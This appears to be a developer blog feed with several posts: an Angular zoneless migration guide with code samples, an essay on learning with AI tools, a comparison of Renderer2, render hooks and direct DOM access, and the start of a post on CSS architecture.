One of the easiest ways to understand zoneless is to watch how it batches. Say a single click sets three signals. Under Zone.js you might see several passes. Under zoneless, the three writes mark three small parts of the view dirty, and the scheduler flushes them together in one pass.

The scheduler runs on a microtask by default, or on an animation frame when animations are involved. That detail rarely matters day to day, but it explains two things. First, why a signal write followed by a DOM read in the same tick can still see the old DOM. Second, why sprinkling detectChanges is worse than markForCheck. detectChanges runs synchronously and right now, while markForCheck just marks the view and lets the scheduler decide when to flush.

The practical takeaway is simple. Prefer signals and markForCheck, let the scheduler do its job, and only reach for a synchronous detectChanges when a test or a very specific imperative path truly needs it.

How to turn it on

Turning it on is small. Add the provider at bootstrap and remove zone.js from your polyfills:

import { bootstrapApplication } from '@angular/platform-browser';
import { provideZonelessChangeDetection } from '@angular/core';
import { AppComponent } from './app/app.component';

bootstrapApplication(AppComponent, {
  providers: [provideZonelessChangeDetection()],
});

The API name changed while the feature matured. Older versions exposed provideExperimentalZonelessChangeDetection. On current Angular the provider is provideZonelessChangeDetection, and it is stable. Angular also ships a migration schematic to handle the mechanical parts for you, so you do not have to do this by hand.

Do the bootstrap change and the polyfill removal together. If you remove the polyfill but forget the provider, change detection never runs. If you add the provider but keep the polyfill, you are still shipping zone.js for nothing.

Patterns that just work

Before the breakages, it helps to know what keeps working, because these are the patterns you should move toward:

Signals for local state. A signal write is always noticed, so anything you can express as a signal is safe.
AsyncPipe for streams. Bind the observable directly and Angular handles the subscription and the refresh for you.
Template event bindings. A (click) handler marks the view dirty, so plain fields updated inside a handler still render.
The router, HttpClient, and forms. These are Angular managed, so their updates flow through the scheduler.

If a piece of state can be a signal or an AsyncPipe binding, make it that. The fewer plain fields you mutate from callbacks, the fewer surprises the migration will have.

What actually breaks

Here are the breakages I see most often, in roughly the order they appear.

Timers and promises that set plain fields

The first thing to break is usually a timer. Here is the classic example:

count = 0;

ngOnInit() {
  setInterval(() => this.count++, 1000);
}

This counted up under Zone.js. Under zoneless it sits at zero forever. The callback runs and the field changes, but nobody tells Angular. The fix is a signal, because a signal write is an entry point:

count = signal(0);

ngOnInit() {
  setInterval(() => this.count.update(c => c + 1), 1000);
}

If you cannot convert to a signal yet, call markForCheck after the mutation:

private cdr = inject(ChangeDetectorRef);

ngOnInit() {
  setInterval(() => {
    this.count++;
    this.cdr.markForCheck();
  }, 1000);
}

The exact same rule applies to promises. A then block that assigns a plain field no longer refreshes anything. Use a signal or call markForCheck.

This is the breakage that feels the most unfair, because the code looks completely innocent. There is no lint rule that flags it. The view just stops, and the only clue is that a value changed in a callback.

Manual subscriptions

HttpClient still works, but only when you let Angular see the value. This is fine:

data$ = this.http.get<Data>('/api/data');

The AsyncPipe marks the view dirty on every emission. But if you subscribe by hand and assign a plain field, the view goes quiet:

this.http.get<Data>('/api/data').subscribe(d => {
  this.data = d;
  this.cdr.markForCheck();
});

The subscribe callback is not an Angular entry point. The markForCheck at the end is what brings the view back. The cleaner version is toSignal, which turns the stream into a signal and makes every emission explicit.

The same goes for long lived streams like a BehaviorSubject you combine with combineLatest. If the final subscribe writes to a plain field, that field will not render until something else happens to tick the view. toSignal or AsyncPipe removes the whole class of bug.

Raw listeners and third party callbacks

This is the biggest hotspot in a real app. WebSocket messages, postMessage handlers, MutationObserver and ResizeObserver callbacks, chart libraries, analytics SDKs. Anything that calls you back from outside an Angular template binding.

Under Zone.js those callbacks triggered change detection by accident. Under zoneless Angular does not notice them. The fix is the same two options. Write to a signal inside the callback:

data = signal<string | null>(null);

connect(ws: WebSocket) {
  ws.onmessage = (ev) => {
    this.data.set(ev.data);
  };
}

Or end the callback with markForCheck if you are not ready to refactor. The same applies to browser observers. A ResizeObserver that sets a plain field will not refresh anything until you write to a signal or call markForCheck. I hit this exact case with a chart that measured its container, and the fix was one signal write inside the observer callback.

One thing to watch: teardown. Zone removal does not create leaks, but it does remove the incidental stability you may have leaned on, so make sure you unsubscribe and complete your streams.

In place mutations with OnPush

Zoneless pushes you toward OnPush as the default. That is a good thing, but it resurfaces an old trap. If you mutate a value in place, Angular may never see it.

With a signal, pushing into the inner array mutates the array without writing the signal, so nothing notifies:

items = signal<string[]>([]);

add(item: string) {
  this.items().push(item); // the signal never notifies
}

Write a new value instead:

add(item: string) {
  this.items.update(list => [...list, item]);
}

The same trap exists with plain arrays under OnPush. If the reference does not change, the input comparison sees nothing new. Return a new array or call markForCheck.

The same logic applies to objects. If you mutate a property on an object that OnPush already compared, the reference is the same and the view will not know. New object, new array, or a signal write. Pick one and stay consistent.

Your tests

Zone removal is most visible in the test suite, because a lot of the old helpers were built on Zone.js:

fakeAsync and tick
flush and flushMicrotasks
waitForAsync
fixture.whenStable

In a fully zoneless setup, fakeAsync can break because there is no zone to intercept the timers. The reliable path is async and await with explicit fake timers, plus your own detectChanges calls:

it('updates after a timer', () => {
  jest.useFakeTimers();
  const fixture = TestBed.createComponent(CounterComponent);
  fixture.detectChanges();

  jest.advanceTimersByTime(1000);
  fixture.detectChanges();

  expect(fixture.nativeElement.textContent).toContain('Count: 1');
});

If you used whenStable to wait for the app to settle, note that without a zone the idea of stable changes. In many zoneless setups whenStable resolves quickly or behaves differently than you remember. The more predictable habit is to call detectChanges explicitly and mock time with fake timers, so your assertion waits on data, not on a framework notion of idle.

The same logic applies to fakeAsync. It worked by intercepting the zone, and without a zone there is nothing to intercept. Some setups still make it work by providing a zone only for tests, but that recreates the exact gap you are trying to close. Running the suite zoneless, with plain async and fake timers, keeps production and CI on the same page.

The trap to avoid: if you keep Zone.js in tests but remove it in production, Zone masks the missing markForCheck calls. Run at least part of your CI zoneless so the tests see the same world as production.

Web components and custom elements

If you use custom elements, events emitted outside Angular template bindings may not mark views dirty. The rule is the same. Wire the event through an Angular binding, or call markForCheck in the callback. Direct DOM changes do not need change detection, but component state updates from a MutationObserver or ResizeObserver do.

Libraries that assume Zone.js

Some older libraries import zone.js or rely on its patched globals. Validate them early. If a chart or an SDK stops rendering after the migration, it is usually because it was leaning on the global tick. Wrap its callbacks in signals or markForCheck, or find a zoneless compatible build.

How to migrate without breaking everything

Here is the order I would use on a real project:

Audit for incidental ticks. Search for setTimeout, setInterval, requestAnimationFrame, raw addEventListener, WebSocket, and SDK callbacks that mutate component fields.
Make reactivity explicit. Convert local state to signals. Convert subscriptions to AsyncPipe or toSignal.
Standardize manual notification. For anything you cannot convert, end the callback with markForCheck.
Enable zoneless at bootstrap and remove zone.js from polyfills.
Fix the tests last, with fake timers and explicit detectChanges calls.

A real migration, feature by feature

Let me make this concrete with a feature most apps have: a dashboard that polls the server.

The old component looked roughly like this. A plain field held the data, and ngOnInit called a service that set the field inside a setInterval callback. Zone.js made it render. Under zoneless it renders nothing, because the callback is not an Angular entry point.

The migration for that one feature goes in three small steps.

First, move the polling state into a signal. The service can still own the timer, but it writes to the signal instead of a plain field. The view updates, and you have removed one incidental dependency.

Second, if the service must stay imperative, have it call markForCheck after each update. That is the escape hatch for code you are not ready to rewrite yet.

Third, look at the tests. Replace any fakeAsync or whenStable wait with fake timers and explicit detectChanges. This is usually where the migration takes the most time, not the components themselves.

Do that for one feature, ship it with Zone.js still enabled, and repeat. Because signals and markForCheck work in both worlds, each feature you convert makes the eventual flip smaller and safer. By the time you remove zone.js, there is almost nothing left to break.

What you win

It is easy to focus on the breakages and forget why you are doing this at all. The wins are real:

Smaller bundles. zone.js is a meaningful chunk of JavaScript you no longer ship.
Predictable updates. A view changes because a signal, an event, or an AsyncPipe said so, not because some timer you forgot about fired.
Better performance. No more full tree passes triggered by unrelated async work. The scheduler coalesces updates and touches only what changed.
One less framework magic trick. New team members can reason about when and why a view updates, which is worth a lot on a growing codebase.
Easier debugging. When a view does not update, the reason is usually obvious: nobody wrote a signal, emitted through AsyncPipe, or called markForCheck.

Trade offs and when not to do it

Zoneless is not free. The main cost is discipline. Every state change now has to be explicit, and if your team is not ready for that, you will ship frozen UI. The other cost is third party risk. Any library that assumed Zone.js becomes your job to wrap.

If you are not in a hurry, the honest path is to keep Zone.js for now and start converting state to signals. Signals work in both worlds, so you can do most of the hard migration before you flip the switch. When the audit shows nothing left leaning on incidental ticks, enabling zoneless is a one line change.

Also avoid the trap of replacing one global tick with many manual detectChanges calls. That can be worse than Zone.js. Prefer signals and markForCheck, which the scheduler can coalesce.

Common mistakes to avoid

A few things I see teams do after the switch that make things worse:

Calling detectChanges everywhere. It is synchronous and easy to abuse. markForCheck schedules the check and lets Angular coalesce it.
Keeping Zone.js in tests while removing it in production. Your tests pass and your users see frozen UI. Run a zoneless CI job.
Converting every field to a signal in one giant refactor. Do it feature by feature, and ship the signal changes while Zone.js is still on, because signals work in both worlds.
Ignoring third party SDKs until the last minute. They are usually the hardest part, so audit them first, not last.

Questions I get asked

Will zoneless make my app faster?

Usually yes, but do not expect magic. The win comes from fewer and smaller change detection passes, plus a smaller bundle once zone.js is gone. The size of the win depends on how much your app relied on the global tick. A huge app with many timers often sees a real improvement. A tiny app might see almost none.

Do I have to rewrite everything to signals first?

No. You can keep plain fields as long as you notify Angular with markForCheck. Signals are the cleaner long term answer, but markForCheck is a valid bridge, and it is exactly what the framework offers for imperative code.

Can I keep Zone.js for a while?

Yes. Zone.js is still supported, and Angular lets you keep it while you convert. The sane path is to convert features while the zone is on, then flip when the audit is clean. You do not have to do it in one weekend.

What about NgZone.run and runOutsideAngular?

They still exist and still work for libraries that need them. The difference is that NgZone no longer drives change detection. Code that waited for the zone to become stable, or that assumed any async work would tick, is the code you need to revisit.

Is this related to OnPush?

Kind of. Zoneless does not force OnPush, but it pushes the same mental model: update when something tells you to, not because a global timer ran. If you are already disciplined with OnPush, signals, and AsyncPipe, the migration will feel easy.

Conclusion

Zoneless does not really break your app. It reveals it. Every frozen counter and silent dropdown is a spot where you were leaning on a global tick you never thought about. The migration is boring in the best way: find the incidental ticks, make the state explicit, and the rest follows.

If you want to start today, audit one feature. Search it for timers and raw listeners. Convert the plain fields to signals. Then flip just that feature and watch it in production for a week. The app wide switch can wait until the audit comes back clean.

Learning in the age of AI

Eduard Krivanek — Wed, 12 Aug 2026 08:58:02 +0000

Learning in Age of AI Feels Like Drowning. Here's How I'm Trying to Swim

I finished university at 24 and thought learning would finally get easier. No exams, no arbitrary deadlines, no professor reading slides from 2009.

Instead, I got internet in its final boss form. Every topic comes with 400 YouTube videos, 30 newsletters, 12 contradictory roadmaps, one guy on X saying books are dead, another saying courses are scams, and ChatGPT ready to answer everything so fast that I sometimes forget to think.

If you're in your twenties, early in your career, and weirdly less motivated to learn than you were during finals week, you're not lazy. You're probably overloaded, under-committed, and stuck in content grazing mode.

That was me.

This is my attempt to explain what changed, what made learning feel empty, and what I am doing now that works better than collecting bookmarks like I am building digital bunker for some future version of myself who suddenly becomes disciplined.

What learning in age of AI actually feels like

People keep saying AI has made learning easier.

Technically, sure. Explanations are cheaper. Summaries are instant. Boilerplate is free. If you want quick entry into almost any field, you can get it in 30 seconds.

But easier access has not produced clearer direction.

It has produced more tabs.

When I was in university, learning had structure even when structure was stupid. Someone told me what chapter mattered, when test was, what counted as enough. I complained about it constantly.

Now nobody stops me from learning anything. Which sounds liberating until you realize nobody tells you what to ignore either.

That is real tax of AI age for people like me. Not lack of information. Lack of stopping points.

I can ask AI to build me reading list for distributed systems, explain memory management like I am five, compare five frameworks, quiz me on syntax, and generate practice projects before I finish coffee.

I can do all that and still end day feeling like I learned nothing durable.

Because consuming explanations is not same thing as building capability.

Why endless educational content kills motivation

I used to think motivation disappeared because attention spans got worse. That is part of it, but not main part.

Main problem is that modern learning systems are optimized to keep you circulating, not progressing.

YouTube wants next video watched. Course platforms want next module opened. Newsletters want next issue read. AI tools want next prompt typed. None of them are designed around one uncomfortable question: what can you do now that you could not do two weeks ago?

That question is rude. It is also useful.

Most content makes me feel adjacent to competence. That is dangerous feeling because it looks enough like progress to let me off hook.

I know this pattern too well:

I decide to learn something concrete, maybe system design, SQL optimization, or statistics.
I search for best resources.
I compare resources for so long that resource selection becomes project.
I ask AI to summarize differences.
I feel productive because document exists.
I do not actually practice hard part.

That cycle is not learning.

It is pre-learning cosplay.

AI makes this worse because it removes friction from preparation. Preparation used to take time, which occasionally forced commitment. Now I can generate perfect study plan in seconds, ignore it, then generate slightly better study plan tomorrow.

I have done this enough times to respect ugly truth: abundance does not motivate. Constraint does.

What AI is good at for learning, and where it quietly sabotages you

AI is useful for learning. I am not interested in fake purist takes where real education only happens with dusty textbooks and suffering.

I use AI constantly.

I use it to translate jargon into normal language. I use it to generate examples when docs are too abstract. I use it to quiz me. I use it to critique drafts. I use it to help me get unstuck when I am blocked for long enough that frustration starts pretending to be principle.

That part is great.

Problem starts when AI becomes substitute for wrestling with confusion.

Confusion feels inefficient, but confusion is often where learning is happening. If I ask for answer too early, I borrow clarity without building it.

This is where AI quietly sabotages me. Not because answer is wrong. Because answer arrives before I have earned question.

When that happens, I get smooth explanation and weak memory.

I recognize concept when I see it again, which feels comforting, but recognition is cheap. Recall is expensive. Application is where invoices show up.

There is also ego trap. AI lets me sound smarter than I am. It helps produce code, notes, summaries, and opinions polished enough to pass casual inspection.

But polished output can hide shallow understanding, especially from person producing it.

Nothing is more humbling than explaining concept confidently, then freezing when tiny detail changes.

If AI gives me finished thought too early, I become editor of understanding instead of builder of it.

What changed after university, and why learning feels emotionally harder now

University gave me artificial urgency. Career gives me ambient anxiety.

Those are not same fuel source.

In school, target was obvious even when subject was boring. Pass exam. Finish paper. Graduate. There was scoreboard, schedule, and social proof because everyone around me was also trapped in same machine.

Now learning is tied to fuzzier questions.

Am I falling behind?

Should I learn what is useful now or what might matter in three years?

Do I go broader because world is changing fast, or narrower because specialization still wins?

Is this curiosity, career strategy, or panic wearing glasses?

That emotional uncertainty matters more than most productivity advice admits.

A lot of us are not failing to learn because we lack discipline. We are failing because we do not trust our direction, so we keep reopening decision instead of paying cost of commitment.

This is why motivation feels unstable. Motivation hates unresolved scope.

When path is undefined, every study session starts with existential admin.

What finally helped me: fewer inputs, more proof

I did not need better motivation hack.

I needed smaller learning system.

These are changes that helped most.

Pick one skill with labor market value, not ten interesting topics

For long time I organized learning around interest. That sounds noble. It was mostly avoidance.

Interest matters, but interest without selection becomes drift.

What worked better was picking one skill that compounds professionally and then letting curiosity live inside that boundary.

Not "learn AI."

Something like:

write better SQL for real datasets
debug production systems faster
become competent at TypeScript in large codebases
understand statistics well enough to stop misreading experiments

This matters because vague learning goals create vague stopping conditions.

Specific skill creates tension. Tension creates action.

Once I chose one direction, random content got easier to reject. That felt almost suspiciously powerful.

Build learning around outputs that can embarrass you

This changed everything.

Private notes are too forgiving. Highlights are too forgiving. AI chats are extremely forgiving.

Outputs with consequences work better.

By consequences, I do not mean public humiliation ritual. I mean artifact that reveals whether understanding is real.

Good examples:

write short explanation from memory without looking anything up
solve problem on blank page
build tiny project with self-imposed constraints
teach friend one concept clearly
review real code and justify every suggestion
recreate idea from scratch three days later

If result can expose confusion, it can teach.

If result only makes me feel organized, it probably cannot.

I have learned more from trying to explain one difficult idea badly than from reading ten polished explainers about it.

Painful. Useful. Annoyingly correlated.

Use AI late in cycle, not early

This is most practical rule I have.

I try to touch problem myself before asking AI to help. Even 15 minutes changes quality of interaction.

Instead of saying, "Teach me this topic," I now do something closer to this:

Read primary source, docs, chapter, paper, or problem statement.
Write what I think is happening in my own words.
Attempt solution or explanation.
Mark exact point where understanding breaks.
Ask AI narrow question about that break.

This keeps AI in role of tutor, not ventriloquist.

Difference is subtle but huge. If I ask broad question too soon, AI gives polished abstraction. If I ask after failing specifically, answer attaches to something real in my head.

That is sticky learning.

I also ask AI to challenge me more often now.

Useful prompts look like this:

"Here is my explanation. Where am I hand-waving?"
"Give me counterexample that breaks my mental model."
"Quiz me on this without multiple choice."
"What would experienced engineer criticize in this approach?"
"Do not solve it yet. Narrow my search space."

Those prompts create resistance.

Resistance is annoying. Resistance is also where memory comes from.

Stop optimizing resource stack

I had period where I treated learning like infrastructure project.

Obsidian vault. Read-it-later app. Highlight sync. Folder taxonomy. Tagging strategy. Saved prompts. Course spreadsheet. Ranking matrix for educational YouTube channels. Probably one step away from procurement process.

Very little of that moved needle.

I do not think tools are useless. I think they become procrastination when system is prettier than output.

Now my rule is simple:

one primary resource
one place for notes
one recurring output format
one review cadence

That is enough.

Anything more has to justify itself by improving recall or application, not aesthetics.

My old systems looked impressive. They were also graveyards.

Make peace with missing out on useful knowledge

This part bothered me most.

I wanted complete map before committing. I wanted confidence that I was learning right thing, from right source, in right order.

That mindset is understandable. It is also impossible now.

There is too much good material. Not too much material, too much good material. That makes decision harder because options are not obviously bad.

You will skip valuable books. Miss important papers. Ignore smart people. Start with imperfect resource. Learn one abstraction before another. That is normal.

If you cannot tolerate that, you stay in comparison loop forever.

Maturity here is not finding perfect path.

It is accepting that learning anything meaningful requires deliberate ignorance of other worthy things.

That is not failure. That is price of depth.

What I do now during typical week

Nothing here is glamorous. That is point.

I try to keep weekly learning loop boring enough to repeat.

Monday: define one concrete question

Not broad domain. One question.

Examples:

Why does this query slow down as data shape changes?
What problem do indexes actually solve in practice?
How does event loop behavior show up in real debugging?

If question is too large, week disappears into intake.

Midweek: struggle in public or at least on paper

I write rough explanation, build toy example, or attempt problem with no AI help for first pass.

This part feels worst.

Which is usually sign that it is doing something.

Then: use AI as reviewer, not ghostwriter

After first attempt, I ask for critique, missing edge cases, alternative mental models, or practice prompts.

I do not ask for nice summary unless I am comparing my understanding to it.

End of week: produce one artifact

Small post. Cheat sheet from memory. Mini demo. Debugging note. Flash explanations. Anything that leaves residue.

If week ends with only consumed content, I count it as partial at best.

That sounds strict.

It is less strict than spending six months feeling vaguely guilty.

What did not work for me

Some advice sounds good and failed hard in practice.

"Follow your curiosity"

Good for wandering. Bad for compounding skill when attention already fragmented.

Curiosity needs fences or it becomes browser behavior.

"Use AI to personalize your learning"

Usually translated into endless plan generation.

Personalization matters less than repetition, recall, and feedback. Fancy custom curriculum cannot save low contact hours with actual difficulty.

"Learn in public"

Helpful for some people. For me, it became performance trap when used too early.

Posting half-formed ideas can force clarity.

It can also reward presentation before comprehension. I prefer private struggle first, public artifact second.

"Just stay consistent"

True, but incomplete.

Consistency with bad loop still produces disappointment on schedule.

You need feedback from reality, not only streak counter.

Known limitations of this approach

This is not universal system.

If you are learning for credential, exam, or tightly structured interview pipeline, you may need more coverage and less wandering than I describe here.

If you are burned out, problem may not be learning strategy at all. It may be exhaustion wearing productivity costume.

If you are financially stressed, advice about curiosity and depth can sound a little romantic. Fair enough. Sometimes most rational learning plan is direct employability, not intellectual elegance.

Also, AI genuinely can accelerate beginners when used well. I am not arguing for unnecessary suffering. I am arguing against outsourcing too much cognition too early.

That distinction matters.

What learning in age of AI should probably become

I do not think valuable learners of next decade will be people who memorize most raw information.

AI already humiliates that strategy.

I think valuable learners will be people who can do four things reliably:

decide what matters
frame good questions
test understanding against reality
stay with problem long enough to build original judgment

That fourth one feels endangered.

AI is incredible at giving shape to blank page. It is much worse at deciding what is worth caring about in first place. It can accelerate path, but it cannot choose meaningful direction for you without borrowing someone else's priorities.

That part is still human work.

Annoying, inconvenient, non-automatable human work.

Which is probably why it matters.

If you're 25 and feel behind, start here

This is short version I wish someone had handed me after graduation.

1. Choose one marketable skill for next 8 weeks

Not identity overhaul. Not life mission. One skill with visible payoff.

2. Pick one main resource and ignore rest

You can be wrong and still make progress faster than person comparing forever.

3. Use AI after first attempt

Get confused on your own first. Then ask better question.

4. Produce one artifact every week

If nothing remains at end, learning probably evaporated too.

5. Review what you can do, not what you consumed

Bookmarks are not competence. Summaries are not competence. Familiarity is not competence.

That distinction hurts a little.

It also clears room for actual progress.

FAQ: learning in age of AI

Is AI making students and graduates less motivated to learn?

Sometimes, yes. AI can reduce friction so much that people consume polished answers instead of building understanding. Motivation drops when learning turns into passive intake without clear proof of progress.

How should you use AI without becoming dependent on it?

Use AI after first attempt, not before. Let it critique your thinking, generate practice, or explain exact sticking point. Do not let it replace initial struggle with problem.

What is best way to learn when there is too much content online?

Choose one concrete skill, one primary resource, and one weekly output. Too much content becomes manageable when you create strict selection criteria and ignore most of what is available.

Why does learning after university feel harder?

Because structure disappears. University gives deadlines, scope, and shared expectations. After graduation, you need to choose direction, pace, and definition of enough on your own, which is emotionally harder than most people admit.

Closing: less content, more contact

I still use AI almost every day.

But I trust it more as sparring partner than source of certainty.

If learning feels dead lately, I would not assume you have lost curiosity. You may have lost contact with difficulty, consequence, and direction.

So cut inputs. Pick something useful. Try before asking. Make artifact before moving on.

That is less exciting than building perfect learning dashboard.

It is also first thing that made me feel like I was actually learning again.

Renderer2 vs render hooks vs direct DOM access in Angular

Eduard Krivanek — Wed, 17 Jun 2026 17:49:22 +0000

Every Angular developer eventually gets here. You build a nice clean component, everything looks reactive and predictable, and then suddenly you need to touch the DOM. Maybe you need to focus an input. Maybe measure an element. Maybe wire up a third party library. Maybe update something after the view is rendered.

And this is usually the moment where the code starts getting weird. For a long time, Renderer2 was the answer people repeated almost automatically. If you need DOM manipulation, use Renderer2. That advice was not wrong, but it was also not complete. Angular has changed a lot. Today we also have render hooks like afterNextRender and afterRenderEffect, and in some cases direct DOM access is completely reasonable. So the real question is no longer which API exists. The real question is which one you should choose for the job in front of you. That is what I want to break down here.

Why this topic matters more now. I think a lot of Angular codebases still carry old advice without revisiting whether it still makes sense. That is how teams slowly accumulate small architectural mistakes.

You see things like this: business logic hiding inside DOM callbacks, browser only code mixed into components that should work with SSR, Renderer2 used for things that only need a simple read after render direct nativeElement access scattered everywhere because it felt faster in the moment

None of these choices will instantly destroy your app. That is exactly why they are dangerous. They quietly make the codebase harder to reason about. So let’s go tool by tool.. Renderer2 is Angular’s abstraction for interacting with the DOM in a framework friendly way. It gives you methods for setting attributes, adding classes, listening to events, and creating or removing elements.

In older Angular discussions, Renderer2 was often presented as the safe option. And to be fair, it still has a place. I usually think about Renderer2 as a write oriented tool. If I need Angular controlled DOM updates and I want to avoid writing directly to nativeElement.style or nativeElement.classList, Renderer2 is a reasonable fit. A simple example could look like this:

import { Component, ElementRef, Renderer2, inject, viewChild } from '@angular/core';

@Component({
  selector: 'app-demo',
  template: `<div #box>Demo</div>`
})
export class DemoComponent {
  private readonly renderer = inject(Renderer2);
  protected readonly box = viewChild<ElementRef<HTMLDivElement>>('box');

  highlight(): void {
    const element = this.box()?.nativeElement;
    if (!element) {
      return;
    }

    this.renderer.addClass(element, 'is-active');
    this.renderer.setStyle(element, 'color', 'tomato');
  }
}

This is clear enough. Angular knows you are intentionally updating the DOM. The code is explicit. But here is where I think people overuse it.

If your goal is just to wait until rendering is done so you can read layout information or focus an element, Renderer2 is not really solving the core problem. It only gives you a way to perform DOM operations. It does not answer the timing question. That is where render hooks feel much better.. afterNextRender is one of those APIs that immediately makes sense once you use it in a real component. The use case is simple. You want Angular to finish rendering, then do something once.

import { Component, ElementRef, afterNextRender, viewChild } from '@angular/core';

@Component({
  selector: 'app-search',
  template: `<input #searchInput />`
})
export class SearchComponent {
  protected readonly searchInput = viewChild<ElementRef<HTMLInputElement>>('searchInput');

  constructor() {
    afterNextRender(() => {
      this.searchInput()?.nativeElement.focus();
    });
  }
}

This reads much closer to intent. You are not saying “I want a DOM abstraction.” You are saying “I want this code to run after Angular finishes rendering.”

That is a much better level of abstraction for many modern Angular cases. In my opinion, this is one of the biggest mindset shifts. A lot of DOM related code is not really about DOM mutation. It is about render timing. And once you see that, it becomes hard to go back to older patterns. afterRenderEffect is where things get more interesting.

If afterNextRender is for one time work after rendering, afterRenderEffect is for reactive post render work. It lets you respond after Angular renders and re renders, while still fitting into Angular’s reactive model. This is useful when DOM related logic depends on changing state. For example, imagine a component where an expanded panel changes based on a signal, and after each render you want to scroll the active section into view.

import { Component, ElementRef, signal, afterRenderEffect, viewChildren } from '@angular/core';

@Component({
  selector: 'app-panels',
  template: `
    @for (item of items(); track item.id) {
      <section #panel>{{ item.label }}</section>
    }
  `
})
export class PanelsComponent {
  protected readonly items = signal([
    { id: 1, label: 'One' },
    { id: 2, label: 'Two' }
  ]);

  protected readonly panels = viewChildren<ElementRef<HTMLElement>>('panel');

  constructor() {
    afterRenderEffect(() => {
      const firstPanel = this.panels()[0]?.nativeElement;
      firstPanel?.scrollIntoView({ block: 'nearest' });
    });
  }
}

This kind of API feels much closer to how modern Angular wants you to think. State changes → Angular renders → Then your post render effect runs.

That sequence is clean. It is much easier to reason about than manually trying to stitch together lifecycle timing and raw DOM operations. That said, I would still be careful with it. Just because afterRenderEffect is reactive does not mean it should become your new place for business logic. It is still for render related side effects. Once that boundary gets blurred, the component becomes harder to maintain. Direct DOM access

Now the controversial part. I do think direct DOM access is fine in some cases. Yes, really. If I need to work with a browser only library, a canvas API, a video element, a ResizeObserver, or some very specific low level integration, I do not think forcing Renderer2 into the picture automatically makes the code better. Sometimes nativeElement is just the clearest tool.

import { Component, ElementRef, afterNextRender, viewChild } from '@angular/core';

@Component({
  selector: 'app-chart',
  template: `<canvas #chartCanvas></canvas>`
})
export class ChartComponent {
  protected readonly chartCanvas = viewChild<ElementRef<HTMLCanvasElement>>('chartCanvas');

  constructor() {
    afterNextRender(() => {
      const canvas = this.chartCanvas()?.nativeElement;
      if (!canvas) {
        return;
      }

      const context = canvas.getContext('2d');
      if (!context) {
        return;
      }

      context.fillStyle = 'tomato';
      context.fillRect(10, 10, 120, 40);
    });
  }
}

This is direct. It is readable. It matches the browser API you are integrating with. The problem is not direct DOM access itself. The problem is unmanaged direct DOM access spread across the app with no thought about platform safety or maintainability. That is where people get burned. SSR safety. This is the part people usually oversimplify.

Renderer2 is often described as the safer option, and direct DOM access is often described as dangerous. That is only partially true. The real SSR question is this - Does your code assume a real browser environment at the wrong time? If you touch window, document, or native browser APIs during server rendering, you will have problems. If you run DOM reads and writes only after rendering in the browser, your code is much safer.

That is one reason render hooks are so useful. They help align DOM work with actual render timing. My practical rule is simple.

If the code depends on a browser only API, I keep it behind a clearly browser oriented boundary.
If the code is just a post render interaction, I start with a render hook.
If I need Angular style DOM writes, especially for classes, styles, or listeners, I consider Renderer2.

The decision I use in real projects If I had to reduce this whole topic into one simple decision guide, it would be this:

If I only need to do something after Angular renders once, I use afterNextRender.
If I need reactive post render behavior tied to changing state, I use afterRenderEffect.
If I need framework friendly DOM writes or listeners, I reach for Renderer2.
If I am integrating with a browser API or a third party library, direct DOM access is often fine, but I keep it isolated and intentional.

That last part matters a lot. Intentional code ages much better than defensive code copied from old blog posts. What creates tech debt In my experience, tech debt here comes from three habits. First, using Renderer2 as a default answer without asking what the real problem is.

Second, mixing DOM code with business logic until the component becomes impossible to scan. Third, pretending direct DOM access is always wrong, then hiding the same browser assumptions behind a more “Angular looking” API. A prettier abstraction does not automatically mean a better design.

My honest opinion is that render hooks are the missing piece many Angular developers needed for years. They make a lot of DOM related code feel natural again because they solve the timing problem directly. Renderer2 is still useful, but I no longer see it as the default answer for every DOM related task.

And direct DOM access is not some forbidden hack. It is a tool. Just use it where it makes architectural sense, not everywhere. If I were starting fresh today, my order of preference would usually be: render hooks first for timing, Renderer2 when I need Angular style writes, direct DOM access for browser specific integrations. That gives me the cleanest mental model, the least confusion, and usually the least future regret.

Unhandled CSS Ruining Life

Eduard Krivanek — Sat, 18 Apr 2026 12:37:05 +0000

There is a moment in the life of almost every mature frontend when CSS stops feeling like a tool and starts feeling like archaeology. You open one screen and the primary button has one height. On another screen, it is almost the same height, but not quite. Inputs look consistent until you open a modal. Selects behave until a page level override wins. Somewhere in the codebase there is a global stylesheet that still matters, a component stylesheet that matters more, and one deep selector that matters most of all. Nothing is completely broken. That is what makes this kind of problem dangerous. The problem is usually not “bad CSS.” The problem is that the application no longer has a clear styling architecture.

When CSS stops being local

Early in a project, styling feels easy because the UI is still small enough to be held in one person’s head. A global stylesheet provides the visual baseline. Components get their own local styles. A UI library gives you buttons, selects, inputs, and checkboxes that are good enough to move quickly. If the design team needs something slightly different, you add an override and keep going. Then the application grows. New sections arrive. Feature teams solve similar problems in slightly different ways. One group wraps a checkbox into a reusable consent component because the label needs links, validation, and custom spacing. Another group uses the raw checkbox from the component library because it is quicker and the feature deadline is near. Somebody adds a global override to make all form controls match the brand more closely. Somebody else adds a local override because the global rule broke a special case. A page with unusual requirements bends the styling rules just enough to ship. No one is wrong in the moment.

Unlike a refactor that fails loudly, styling debt often survives because each local decision makes sense when viewed in isolation. Over time, however, the application develops an invisible split personality. It has “official” components and “practical” components. It has “shared styles” and “the real styles that actually win in production.” It has consistency in theory and variation in practice. At that point, the team usually starts asking the wrong question. They ask, “Should we clean up SCSS?” or “Should we move to Tailwind?” or “Should we get rid of global styles?”

The warning signs that matter

A broken styling architecture rarely announces itself with one catastrophic bug. It reveals itself through friction. The strongest warning sign is not visual inconsistency by itself. Mature products often have legitimate variation. The strongest warning sign is that developers need to know too much internal detail in order to style a basic control safely. If a developer has to remember the internal DOM structure of a third party checkbox component, or the exact selector required to override a library label, or whether a certain control should be changed in a global theme file instead of a wrapper component, the architecture is already leaking.

That kind of leak is expensive because it distributes responsibility downward. Instead of having one stable place where the checkbox lives as a product decision, the application spreads checkbox behavior across templates, wrappers, overrides, library classes, and exceptions. The same usually happens with inputs, selects, and buttons. Once those foundations drift, every feature built on top of them becomes harder to reason about.

What the destination should feel like

The most important outcome of a CSS recovery effort is not prettier code. It is restored trust. When trust exists, a developer can open the codebase and make a styling change with a reasonable expectation of what else it will affect. A product designer can request a form refresh without triggering a month of regressions. A new team member can infer where a style belongs because the architecture teaches them by example. Even exceptions become manageable, because they are clearly exceptions rather than secret rules.

The first layer is the foundation: design tokens, typography, spacing scale, color roles, border radii, elevation, motion. These are the values that give the product a consistent visual language. They should be stable, semantic, and boring. If color or spacing values are still scattered as raw numbers throughout the app, the system has not yet found its center.

